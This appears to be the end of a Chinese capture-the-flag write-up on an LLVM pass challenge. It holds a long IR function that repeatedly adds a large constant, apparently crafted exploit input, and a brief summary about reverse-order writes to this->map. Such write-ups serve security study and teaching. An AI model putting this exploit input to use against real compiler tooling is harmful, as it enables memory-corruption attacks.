  %195 = add nsw i64 %194, 20000000000000
  %196 = add nsw i64 %195, 20000000000000
  %197 = add nsw i64 %196, 20000000000000
  %198 = add nsw i64 %197, 20000000000000
  %199 = add nsw i64 %198, 20000000000000
  %200 = add nsw i64 %199, 20000000000000
  %201 = add nsw i64 %200, 20000000000000
  %202 = add nsw i64 %201, 20000000000000
  %203 = add nsw i64 %202, 20000000000000
  %204 = add nsw i64 %203, 20000000000000
  %205 = add nsw i64 %204, 20000000000000
  %206 = add nsw i64 %205, 20000000000000
  %207 = add nsw i64 %206, 20000000000000
  %208 = add nsw i64 %207, 20000000000000
  %209 = add nsw i64 %208, 20000000000000
  %210 = add nsw i64 %209, 20000000000000
  %211 = add nsw i64 %210, 20000000000000
  %212 = add nsw i64 %211, 20000000000000
  %213 = add nsw i64 %212, 20000000000000
  %214 = add nsw i64 %213, 20000000000000
  %215 = add nsw i64 %214, 20000000000000
  %216 = add nsw i64 %215, 20000000000000
  %217 = add nsw i64 %216, 20000000000000
  %218 = add nsw i64 %217, 20000000000000
  %219 = add nsw i64 %218, 20000000000000
  %220 = add nsw i64 %219, 20000000000000
  %221 = add nsw i64 %220, 20000000000000
  %222 = add nsw i64 %221, 20000000000000
  %223 = add nsw i64 %222, 20000000000000
  %224 = add nsw i64 %223, 20000000000000
  %225 = add nsw i64 %224, 20000000000000
  %226 = add nsw i64 %225, 20000000000000
  %227 = add nsw i64 %226, 20000000000000
  %228 = add nsw i64 %227, 20000000000000
  %229 = add nsw i64 %228, 20000000000000
  %230 = add nsw i64 %229, 20000000000000
  %231 = add nsw i64 %230, 20000000000000
  %232 = add nsw i64 %231, 20000000000000
  %233 = add nsw i64 %232, 20000000000000
  %234 = add nsw i64 %233, 20000000000000
  %235 = add nsw i64 %234, 20000000000000
  %236 = add nsw i64 %235, 20000000000000
  %237 = add nsw i64 %236, 20000000000000
  %238 = add nsw i64 %237, 20000000000000
  %239 = add nsw i64 %238, 20000000000000
  %240 = add nsw i64 %239, 20000000000000
  %241 = add nsw i64 %240, 20000000000000
  %242 = add nsw i64 %241, 20000000000000
  %243 = add nsw i64 %242, 20000000000000
  %244 = add nsw i64 %243, 20000000000000
  %245 = add nsw i64 %244, 20000000000000
  %246 = add nsw i64 %245, 20000000000000
  %247 = add nsw i64 %246, 20000000000000
  %248 = add nsw i64 %247, 20000000000000
  %249 = add nsw i64 %248, 20000000000000
  %250 = add nsw i64 %249, 20000000000000
  %251 = add nsw i64 %250, 20000000000000
  %252 = add nsw i64 %251, 20000000000000
  %253 = add nsw i64 %252, 20000000000000
  %254 = add nsw i64 %253, 20000000000000
  %255 = add nsw i64 %254, 20000000000000
  %256 = add nsw i64 %255, 20000000000000
  %257 = add nsw i64 %256, 20000000000000
  %258 = add nsw i64 %257, 20000000000000
  %259 = add nsw i64 %258, 20000000000000
  %260 = add nsw i64 %259, 20000000000000
  %261 = add nsw i64 %260, 20000000000000
  %262 = add nsw i64 %261, 20000000000000
  %263 = add nsw i64 %262, 20000000000000
  %264 = add nsw i64 %263, 20000000000000
  %265 = add nsw i64 %264, 20000000000000
  %266 = add nsw i64 %265, 20000000000000
  %267 = add nsw i64 %266, 20000000000000
  %268 = add nsw i64 %267, 20000000000000
  %269 = add nsw i64 %268, 20000000000000
  %270 = add nsw i64 %269, 20000000000000
  %271 = add nsw i64 %270, 20000000000000
  %272 = add nsw i64 %271, 20000000000000
  %273 = add nsw i64 %272, 20000000000000
  %274 = add nsw i64 %273, 20000000000000
  %275 = add nsw i64 %274, 20000000000000
  %276 = add nsw i64 %275, 20000000000000
  %277 = add nsw i64 %276, 20000000000000
  %278 = add nsw i64 %277, 20000000000000
  %279 = add nsw i64 %278, 20000000000000
  %280 = add nsw i64 %279, 20000000000000
  %281 = add nsw i64 %280, 20000000000000
  %282 = add nsw i64 %281, 20000000000000
  %283 = add nsw i64 %282, 20000000000000
  %284 = add nsw i64 %283, 20000000000000
  %285 = add nsw i64 %284, 20000000000000
  %286 = add nsw i64 %285, 20000000000000
  %287 = add nsw i64 %286, 20000000000000
  %288 = add nsw i64 %287, 20000000000000
  %289 = add nsw i64 %288, 20000000000000
  %290 = add nsw i64 %289, 20000000000000
  %291 = add nsw i64 %290, 20000000000000
  %292 = add nsw i64 %291, 20000000000000
  %293 = add nsw i64 %292, 20000000000000
  %294 = add nsw i64 %293, 20000000000000
  %295 = add nsw i64 %294, 20000000000000
  %296 = add nsw i64 %295, 20000000000000
  %297 = add nsw i64 %296, 20000000000000
  %298 = add nsw i64 %297, 20000000000000
  %299 = add nsw i64 %298, 20000000000000
  %300 = add nsw i64 %299, 20000000000000
  %301 = add nsw i64 %300, 20000000000000
  %302 = add nsw i64 %301, 20000000000000
  %303 = add nsw i64 %302, 20000000000000
  %304 = add nsw i64 %303, 20000000000000
  %305 = add nsw i64 %304, 20000000000000
  %306 = add nsw i64 %305, 20000000000000
  %307 = add nsw i64 %306, 20000000000000
  %308 = add nsw i64 %307, 20000000000000
  %309 = add nsw i64 %308, 20000000000000
  %310 = add nsw i64 %309, 20000000000000
  %311 = add nsw i64 %310, 20000000000000
  %312 = add nsw i64 %311, 20000000000000
  %313 = add nsw i64 %312, 20000000000000
  %314 = add nsw i64 %313, 20000000000000
  %315 = add nsw i64 %314, 1
  ret i64 %315
}

---

小结：

这个题目的利用方式比较巧妙，复现时调试了很久才发现 this->map 时倒序写入的

把很久都没有做过的 LLVM 复习了一下